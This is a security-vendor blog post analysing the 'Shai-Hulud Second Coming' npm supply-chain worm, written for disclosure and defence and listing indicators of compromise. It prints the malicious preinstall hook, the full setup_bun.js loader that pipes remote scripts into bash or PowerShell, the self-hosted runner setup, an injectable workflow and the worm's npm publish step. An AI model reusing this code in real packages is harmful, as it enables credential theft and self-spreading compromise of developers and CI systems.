Shai-Hulud Second Coming: Software Supply Chain Attack Exposing Code and Harvesting Credentials

SafeDep Team
11 min read

Table of Contents

TL;DR

The Shai-Hulud attackers are back with a new supply chain attack targeting the npm ecosystem. Multiple popular packages were infected with malicious payload via preinstall script. In this blog, we will do a deep dive technical analysis of the payload and the attack.

Infected packages:

Note: This is a non-exhaustive list of infected packages. More packages will be added to this list as we continue to analyze the attack. Our current focus is on the payload and technical analysis of the attack. Our assumption is that the same payload is used in all affected packages in this incident with minor variations and bug fixes.

The payload appears to share similar code and behavior with the previous Shai-Hulud supply chain attack targeting npm packages. The major difference, so far, appears to be the use of bun instead of node to execute the payload.

Following illustration gives a high level overview of the payload.

Payload Summary

Based on analysis of the obfuscated payload, the malware seems to support the following platforms:

  • Linux
  • macOS
  • Windows

Technical Analysis

The following is a technical analysis of an infected version of zapier-sdk package to identify the payload. We assume the same payload is used in all affected packages in this incident with minor variations and bug fixes.

We start by diffing version 0.15.4 and 0.15.5 of zapier-sdk package to identify the malicious changes introduced in 0.15.5 which is a known malicious package.

Terminal window
diff -Naur zapier/0.15.4/package/package.json zapier/0.15.5/package/package.json
--- zapier/0.15.4/package/package.json 1985-10-26 13:45:00
+++ zapier/0.15.5/package/package.json 2025-11-24 11:20:51
@@ -1,6 +1,6 @@
{
"name": "@zapier/zapier-sdk",
- "version": "0.15.4",
+ "version": "0.15.5",
"description": "Complete Zapier SDK - combines all Zapier SDK packages",
"main": "dist/index.cjs",
"module": "dist/index.mjs",
@@ -59,6 +59,7 @@
"rebuild": "pnpm clean && pnpm build",
"dev": "tsc --watch",
"typecheck": "tsc --project tsconfig.build.json --noEmit",
- "test": "vitest"
+ "test": "vitest",
+ "preinstall": "node setup_bun.js"
}
}

The diff indicates that a new preinstall script was introduced in 0.15.5 that executes setup_bun.js leveraging npm preinstall hook. The setup_bun.js has the following purpose:

  • Checks if bun is already on the system path
  • If not, downloads and installs bun
  • Executes bun_environment.js using bun executable found on the system or downloaded and installed by this script

Based on the analysis of setup_bun.js, it appears that the payload is in bun_environment.js and requires bun to be executed.

Analysis of bun_environment.js

  • bun_environment.js is a 9.7MB file
  • SHA256 (bun_environment.js) = 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

Looking at bun_environment.js, it is evident that the payload is obfuscated. The first step was to beautify the code to make it a bit more readable, although still obfuscated.

Note: All command execution, analysis and code beautification was done inside a sandbox environment to prevent any malicious code from being executed.

Terminal window
docker run -it --rm -v $(pwd):/app node:lts bash
cd /app
npm install -g js-beautify
js-beautify bun_environment.js > bun_environment_beautified.js
Terminal window
more bun_environment_beautified.js
var a0_0x58e7a2 = a0_0x5155;
(function(_0x488e1f, _0x239640) {
var _0x1c90e8 = a0_0x5155,
_0x2d2cb3 = _0x488e1f();
while (!![]) {
try {
var _0x156b43 = parseInt(_0x1c90e8(0x52cd)) / 0x1 * (-parseInt(_0x1c90e8(0x2dae)) / 0x2) + parseInt(_0x1c90e8(0x49ef)) / 0x3 * (parseInt(_0x1c90e8(0x373)) / 0x
4) + parseInt(_0x1c90e8(0x2c8a)) / 0x5 * (-parseInt(_0x1c90e8(0x3b09)) / 0x6) + parseInt(_0x1c90e8(0x2336)) / 0x7 * (-parseInt(_0x1c90e8(0x34cf)) / 0x8) + parseInt(_0x1c90
e8(0x18ad)) / 0x9 * (parseInt(_0x1c90e8(0x13ba)) / 0xa) + parseInt(_0x1c90e8(0xeef)) / 0xb + parseInt(_0x1c90e8(0x17a8)) / 0xc;
if (_0x156b43 === _0x239640) break;
else _0x2d2cb3['push'](_0x2d2cb3['shift']());
} catch (_0x1d8237) {
_0x2d2cb3['push'](_0x2d2cb3['shift']());
}
}
}(a0_0x29d6, 0xc51e0));

Manual analysis of the obfuscated payload reveals the following, indicating that the file uses obfuscator.io style obfuscation with following techniques:

TechniqueDescription
String Array20,000+ strings stored in a0_0x29d6() function
String Decodera0_0x5155(index) subtracts 0x1bb (443) from index
Array ShufflingIIFE rotates array until checksum = 0xc51e0 (807392)
Boolean Obfuscation!![] → true, ![] → false, !0x0 → true, !0x1 → false
Hex NumbersAll numbers in hex format (0x52cd)
Variable ManglingNames like _0x488e1f, _0x1c90e8
Control FlowDead code with string comparisons ('ABC' !== 'XYZ')

Additionally, the payload appears to be packaged with all its dependencies similar to the previous Shai-Hulud supply chain attack which makes analysis of the payload more challenging.

Payload Summary

Following behaviors are observed in the payload:

  • AWS, GCP, and Azure credentials harvesting using TruffleHog
  • AWS Secrets Manager credentials harvesting using AWS API and locally cached credentials
  • Google Cloud credentials harvesting using Google Cloud API and locally cached credentials
  • Self-replicating worm like behavior using npm packages that are accessible to the authenticated user
  • Credential exposure using GitHub repositories
  • Deploys malicious GitHub Actions runner to the compromised machine

CI/CD Detection

The payload checks if the bun process is running in a CI/CD environment by checking the following environment variables:

  • BUILDKITE
  • PROJECT_ID
  • GITHUB_ACTIONS
  • CODEBUILD_BUILD_NUMBER
  • CIRCLE_SHA1
  • GITLAB_CI
  • JENKINS_HOME
Exceptions from bun_environment_beautified.js
if ('CI' in _0x26282e) {
if (
[_0x17a1ce(0x5955), _0x17a1ce(0x3eda), _0x17a1ce(0x54b5), 'GITLAB_CI', 'GITHUB_ACTIONS', _0x17a1ce(0x4bd6)]['some'](
(_0x1fc8b3) => _0x1fc8b3 in _0x26282e
) ||
_0x26282e[_0x17a1ce(0x5dde)] === 'codeship'
)
return 0x1;
return _0x3a4b4b;
}
if ('TEAMCITY_VERSION' in _0x26282e)
return /^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/[_0x17a1ce(0x57e)](_0x26282e[_0x17a1ce(0x5537)]) ? 0x1 : 0x0;

Exfiltrate CI/CD Credentials using Malicious GitHub Actions Runner

The payload creates a malicious GitHub Actions runner using compromised user’s with name SHA1HULUD. The compromised machine is used as the runner to execute a malicious workflow. The following code snippet shows the code used to create the malicious GitHub Actions runner:

Deploy a GitHub Actions runner on the compromised machine using the following code snippet. The payload supports Linux, macOS, and Windows platforms as the host for deploying the malicious GitHub Actions runner.

Code from bun_environment_beautified.js
if (a0_0x5a88b3.platform() === 'linux')
(await Bun.$`mkdir -p $HOME/.dev-env/`,
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`
.cwd(a0_0x5a88b3.homedir + '/.dev-env')
.quiet(),
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + '/.dev-env'),
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`
.cwd(a0_0x5a88b3.homedir + '/.dev-env')
.quiet(),
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + '/.dev-env'),
Bun.spawn(['bash', '-c', 'cd $HOME/.dev-env && nohup ./run.sh &']).unref());

It then creates a malicious workflow in the newly created GitHub repository using the following code snippet:

Code from bun_environment_beautified.js
await this.octokit.request('PUT /repos/{owner}/{repo}/contents/{path}', {
owner: _0x349291,
repo: _0x2b1a39,
path: '.github/workflows/discussion.yaml',
message: 'Add Discusion',
content: Buffer.from(rZ1).toString('base64'),
branch: 'main',
});

The malicious workflow is a discussion.yaml file that contains the following code snippet:

name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}

The echo command is used to print the discussion body to the console. This is likely an incomplete feature and may allow remote code execution (RCE) primitive to the attacker on victim’s machine through the discussion body.

Self-replicating worm like behavior

Like its predecessors, the payload has self-replicating worm like behavior to infect npm packages that are accessible to the authenticated user. To achieve this, the payload does the following:

  • Finds the infected user’s npm token from the .npmrc file
  • Calls https://registry.npmjs.org/-/whoami to validate the token and retrieve the username
  • Searches for packages that are accessible to the authenticated user as a maintainer using the /-/v1/search?text=maintainer:<username> API
  • If a package is found, the payload downloads and infects it to create a new infected version

The package infection process is as follows:

1. Download Target Package

  • Fetches the package tarball from the registry using the authenticated user’s npm token
  • Downloads the tarball to a temporary directory using Bun.write()

2. Extract and Modify Package

  • Extracts the tarball using gzip decompression
  • Reads the package.json of the target package
  • Injects a malicious preinstall script: node setup_bun.js
  • Automatically increments the patch version (e.g., 1.0.0 to 1.0.1) to create a new “legitimate-looking” release

3. Bundle Malicious Assets

  • Calls bundleAssets() to inject the complete malware payload (setup_bun.js and bun_environment.js)
  • Repackages everything into a new tarball (updated.tgz)

4. Publish Infected Package

  • Uses npm publish command with the compromised user’s NPM_CONFIG_TOKEN
  • Publishes the infected package as a new version to the npm registry
  • Cleans up temporary files after successful publication
Code from bun_environment_beautified.js
(await Bun['$']`npm publish ${_0x4fc35c}`[_0x545fd9(0x3f2d)]({
...process[_0x545fd9(0x3f2d)],
NPM_CONFIG_TOKEN: this[_0x545fd9(0x194f)],
}),
await Uy1(_0x14f0bf));

This automated infection pipeline enables the malware to spread exponentially across the npm ecosystem, as each infected package becomes a vector for further compromise. The use of bun runtime provides faster execution and potentially better evasion of Node.js based security tools.

Credential Harvesting using TruffleHog

The payload uses TruffleHog to harvest credentials from the local filesystem. Following code snippet shows the code used to harvest credentials using TruffleHog:

Detect or download TruffleHog binary from GitHub releases using URL https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest.

Code from bun_environment_beautified.js
let _0x8d5d38 = await this.fetchLatestRelease(),
_0xadd65e = this.pickAsset(_0x8d5d38.assets);
if (!_0xadd65e) throw Error('No suitable trufflehog binary found for this platform');
let _0x23fc54 = a0_0x2cdffb(this.config.cacheDir, _0xadd65e.name);
(await this.downloadFile(_0xadd65e.browser_download_url, _0x23fc54),
(this.binaryPath = await this.extractAndInstall(_0x23fc54)));

Scan filesystem:

Code from bun_environment_beautified.js
async .scanFilesystem(_0x318465, _0x2ad348 = []) {
await this.initialize();
let _0x423574 = ["filesystem", _0x318465, "--json", ..._0x2ad348];
return this.executeWithTimeout(_0x423574);
}

Similarly, the payload uses following scanning techniques using TruffleHog:

  • Scan git repositories
  • Filter by verified results (using TruffleHog’s verification feature)
  • Filter findings by TruffleHog detector
  • Filter findings by file path

These filters are likely to allow the payload to harvest meaningful credentials from the local filesystem.

Credential Exfiltration using GitHub

The payload creates GitHub repositories using compromised user’s credentials with 18 characters long random name. More than 25000 repositories were exposed by this attack at the time of writing this blog. The repositories are created with the description Sha1-Hulud: The Second Coming. text. See GitHub repository search to find currently exposed repositories.

Note: GitHub periodically takes down compromised repositories to prevent further exposure.

The payload uploads the following files to the newly created GitHub repository:

  • cloud.json, contains AWS, GCP, and Azure credentials
  • contents.json, contains host details and other credentials such as GitHub token, npm token, etc.
  • environment.json, contains environment variables of the running process
  • truffleSecrets.json, contains JSON output of TruffleHog scan

Each of these files are double base64 encoded and uploaded to the newly created GitHub repository. Example of cloud.json file:

Terminal window
cat cloud.json| base64 -d | base64 -d

Example output with credentials redacted:

{ "aws": { "secrets": [] }, "gcp": { "secrets": [] }, "azure": { "secrets": [] } }
Terminal window
cat contents.json| base64 -d | base64 -d
{
"system": {
"platform": "linux",
"architecture": "x64",
"platformDetailed": "linux",
"architectureDetailed": "x64",
"hostname": "<REDACTED>",
"os_user": {
"homedir": "/home/runner",
"username": "runner",
"shell": "/bin/bash",
"uid": 1001,
"gid": 1001
}
},
"modules": {
"github": {
"authenticated": true,
"token": "<REDACTED>",
"username": {
"login": "<REDACTED>",
"name": "<REDACTED>",
"email": null,
"publicRepos": <REDACTED>,
"followers": <REDACTED>,
"following": <REDACTED>,
"createdAt": "<REDACTED>"
}
}
}
}

The homedir and username above indicates the payload is executed by a GitHub Actions runner, which in turn indicates that compromised version of packages were introduced in the GitHub Actions runner environment.

Appendix

Indicators of Compromise (IOC)

  • SHA256 (zapier/0.15.5/package/setup_bun.js) = a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
  • SHA256 (zapier/0.15.5/package/bun_environment.js) = 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0
  • Sha1-Hulud: The Second Coming. text in GitHub repository description created by the payload

setup_bun.js

#!/usr/bin/env node
const { spawn, execSync } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');
function isBunOnPath() {
try {
const command = process.platform === 'win32' ? 'where bun' : 'which bun';
execSync(command, { stdio: 'ignore' });
return true;
} catch {
return false;
}
}
function reloadPath() {
// Reload PATH environment variable
if (process.platform === 'win32') {
try {
// On Windows, get updated PATH from registry
const result = execSync(
"powershell -c \"[Environment]::GetEnvironmentVariable('PATH', 'User') + ';' + [Environment]::GetEnvironmentVariable('PATH', 'Machine')\"",
{
encoding: 'utf8',
}
);
process.env.PATH = result.trim();
} catch {}
} else {
try {
// On Unix systems, source common shell profile files
const homeDir = os.homedir();
const profileFiles = [
path.join(homeDir, '.bashrc'),
path.join(homeDir, '.bash_profile'),
path.join(homeDir, '.profile'),
path.join(homeDir, '.zshrc'),
];
// Try to source profile files to get updated PATH
for (const profileFile of profileFiles) {
if (fs.existsSync(profileFile)) {
try {
const result = execSync(`bash -c "source ${profileFile} && echo $PATH"`, {
encoding: 'utf8',
stdio: ['pipe', 'pipe', 'ignore'],
});
if (result && result.trim()) {
process.env.PATH = result.trim();
break;
}
} catch {
// Continue to next profile file
}
}
}
// Also check if ~/.bun/bin exists and add it to PATH if not already there
const bunBinDir = path.join(homeDir, '.bun', 'bin');
if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {
process.env.PATH = `${bunBinDir}:${process.env.PATH}`;
}
} catch {}
}
}
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script
command = 'curl -fsSL https://bun.sh/install | bash';
}
execSync(command, {
stdio: 'ignore',
env: { ...process.env },
});
// Reload PATH to pick up newly installed bun
reloadPath();
// Find bun executable after installation
const bunPath = findBunExecutable();
if (!bunPath) {
throw new Error('Bun installation completed but executable not found');
}
return bunPath;
} catch {
process.exit(0);
}
}
function findBunExecutable() {
// Common locations where bun might be installed
const possiblePaths = [];
if (process.platform === 'win32') {
// Windows locations
const userProfile = process.env.USERPROFILE || '';
possiblePaths.push(
path.join(userProfile, '.bun', 'bin', 'bun.exe'),
path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')
);
} else {
// Unix locations
const homeDir = os.homedir();
possiblePaths.push(path.join(homeDir, '.bun', 'bin', 'bun'), '/usr/local/bin/bun', '/opt/bun/bin/bun');
}
// Check if bun is now available on PATH
if (isBunOnPath()) {
return 'bun';
}
// Check common installation paths
for (const bunPath of possiblePaths) {
if (fs.existsSync(bunPath)) {
return bunPath;
}
}
return null;
}
function runExecutable(execPath, args = [], opts = {}) {
const child = spawn(execPath, args, {
stdio: 'ignore',
cwd: opts.cwd || process.cwd(),
env: Object.assign({}, process.env, opts.env || {}),
});
child.on('error', (err) => {
process.exit(0);
});
child.on('exit', (code, signal) => {
if (signal) {
process.exit(0);
} else {
process.exit(code === null ? 1 : code);
}
});
}
// Main execution
async function main() {
let bunExecutable;
if (isBunOnPath()) {
// Use bun from PATH
bunExecutable = 'bun';
} else {
// Check if we have a locally downloaded bun
const localBunDir = path.join(__dirname, 'bun-dist');
const possiblePaths = [
path.join(localBunDir, 'bun', 'bun'),
path.join(localBunDir, 'bun', 'bun.exe'),
path.join(localBunDir, 'bun.exe'),
path.join(localBunDir, 'bun'),
];
const existingBun = possiblePaths.find((p) => fs.existsSync(p));
if (existingBun) {
bunExecutable = existingBun;
} else {
// Download and setup bun
bunExecutable = await downloadAndSetupBun();
}
}
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
}
main().catch((error) => {
process.exit(0);
});
  • npm
  • oss
  • malware
  • supply-chain

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App